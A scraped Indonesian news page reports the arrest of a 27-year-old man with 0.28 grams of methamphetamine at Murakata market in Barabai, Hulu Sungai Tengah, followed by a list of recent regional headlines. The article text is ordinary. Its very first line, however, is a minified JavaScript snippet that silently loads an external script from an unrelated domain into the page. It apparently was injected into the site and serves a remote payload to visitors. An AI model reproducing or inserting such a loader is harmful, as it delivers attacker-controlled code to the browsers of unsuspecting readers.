(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

MM Ditangkap Bawa Sabu di Pasar Murakata Barabai


BARABAI, Pemberantasan Narkoba tanpa didukung dan dibantu masyarakat yang anti penyalahgunaan Narkoba Polri belum tentu berhasil.

Kapolres Hulu Sungai Tengah AKBP Sabana Atmojo SIK MH meminta masyarakat agar ikut memerangi narkoba dan mencegah peredaran narkoba di Kabupaten Hulu Sungai Tengah (HST).

Sat Res Narkoba Polres HST melakukan penangkapan terhadap satu orang pelaku narkoba jenis sabu, Selasa (4/9) sekitar pukul 21.00 Wita.

Pelaku berinisial MM (27) warga jalan Mualimin RT 10/04 Kelurahan Barabai Darat Kecamatan Barabai, Kabupaten Hulu Sungai Tengah. Pelaku ditangkap petugas ketika bertransaksi sabu di sekitar pasar Murakata Barabai.

“Ini merupakan salah satu upaya Polres HST dalam memberantas peredaran narkoba di HST, kemarin Sat Res Narkoba melakukan giat penangkapan terhadap pelaku narkoba jenis sabu dan berhasil menangkap satu orang pelakum” ujar alumni Akpol 1999 itu.

Penangkapan pelaku berawal dari anggota Sat Res Narkoba Polres HST yang mendapatkan informasi dari masyarakat bahwa di sekitar pasar Murakata sedang terjadi transaksi narkoba. Tidak menyia-nyiakan informasi tersebut, petugas dari Sat Res Narkoba segera melakukan penyelidikan.

“Penangkapan terhadap pelaku merupakan tindak lanjut dari laporan masyarakat tentang peredaran narkoba yang terjadi di sekitar pasar Murakata,” jelas Sabana Atmojo.

Petugas melakukan penyelidikan dan dilanjutkan dengan penangkapan terhadap seorang laki-laki yang saat itu sedang berada di depan rumah makan BFC. Lelaki tersebut diduga petugas sedang membawa paket sabu.

Petugas melakukan penggeledahan dan menemukan barang bukti berupa 1 paket sabu yang dijatuhkan pelaku di lantai saat dilakukan penangkapan. Pelaku beserta barang bukti dibawa ke Mapolres HST guna penyidikan lebih lanjut.

“Dari tangan pelaku, petugas berhasil mengamankan barang bukti satu paket sabu-sabu seberat 0,28 gram,” kata Sabana Atmojo. Pelaku dapat dijerat dengan pasal 114 sub pasal 112 UU No. 35 tahun 2009 tentang narkotika dengan ancaman kurungan penjara paling lama 20 tahun. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

36 menit ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

44 menit ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

5 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

6 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

7 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

9 jam ago

This website uses cookies.